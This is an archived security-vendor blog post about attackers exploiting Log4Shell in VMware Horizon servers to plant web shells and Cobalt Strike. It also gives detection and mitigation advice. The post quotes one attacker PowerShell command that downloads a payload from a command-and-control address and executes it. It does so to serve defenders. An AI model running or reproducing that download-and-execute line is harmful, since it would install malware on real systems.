VMware Horizon Servers Actively Being Hit With Cobalt Strike | Huntress

Archived: 2026-04-05 17:40:32 UTC

On January 5, the UK's National Health Service (NHS) alerted that hackers were actively targeting Log4Shell vulnerabilities in VMware Horizon servers in an effort to establish persistent access via web shells. These web shells allow unauthenticated attackers to remotely execute commands on your server as NT AUTHORITY\SYSTEM (root privileges). According to Shodan, ~25,000 Horizon servers are currently internet accessible worldwide.

Our team is continuing to track this activity and this post will be updated with new information as it becomes available.

Image Source: NHS - https://digital.nhs.uk/cyber-alerts/2022/cc-4002

Based on Huntress' dataset of 180 Horizon servers, we've validated NHS' intel and discovered 10% of these systems (18) had been backdoored with a modified absg-worker.js web shell. It's important to note that ~34% of the 180 Horizon servers (62) we analyzed were unpatched and internet-facing at the time of this publication. the web shells on these 18 compromised systems established a timeline that started on December 25, 2021 and continued until December 29, 2021.

New Behavior

On January 14 at 1458 ET, an unrelated Managed Antivirus detection (Microsoft Defender) tipped our ThreatOps team to new exploitation of the Log4Shell vulnerability in VMware Horizon. This time it was used to deliver the Cobalt Strike implant.

Additional security researchers including TheDFIRReport and Red Canary reported similar behavior around the same time—confirming a PowerShell based downloader executed a Cobalt Strike payload that was configured to call back to 185.112.83[.]116 for command and control.

iex ((New-Object http://System.Net.WebClient).DownloadString('http://185.112.83[.]116:8080/drv'))

At 1938 ET, we started deploying Huntress' soon-to-be-released Process Insights agent to all of the VMware Horizon servers we protect. This new EDR capability is based on an acquisition we made in early 2021 and allows us to proactively detect and respond to non-persistent malicious behavior by giving us the ability to collect detailed information about processes.

Initial Access Source

Despite mass exploitation of VMware Horizon to deliver web shells, our data suggests today's Cobalt Strike deployments were exploitation of Horizon itself and not the abuse of web shells. This conclusion is largely based

on analysis of the PowerShell payload's parent process where web shell abuse spawns from node.exe while exploitation of Log4Shell in Horizon spawns from ws_tomcatservice.exe as pictured.

Detection Tips

For those of you just learning about the mass exploitation of VMware Horizon servers and the installation of backdoor web shells, you should seriously consider the possibility that your server is compromised if it was unpatched and internet-facing. To help you determine your status,

we strongly suggest you perform the following actions:

- Run VMware's Horizon Mitigation tool to report whether there is a vulnerable Log4J library or child_process based web shell present under the installation location with the following command: Horizon_Windows_Log4j_Mitigation.bat /verbose
- Manually inspect/assess the files within %ProgramFiles%\VMware\VMware View\Server\appblastgateway\ for the presence of the child_process string as pictured here.
- Review historical records for evidence of node.exe or ws_TomcatService.exe spawning abnormal processes to include PowerShell.

Mitigation Steps

This new wave of coordinated hacking emphasizes the criticality of patching these servers immediately. VMware has produced detailed guidance to help you address these security vulnerabilities.

Should you discover a web shell, VMware recommends you "take down the system and engage [an] Incident Response Team" to fully assess the compromise. Alternatively, Huntress recommends you restore from a backup prior to December 25 to remove the web shell. With that said, it's entirely possible attackers exploited CVE-2021-44228 and CVE-2021-45046 to spread laterally within your network so you should proceed with caution.
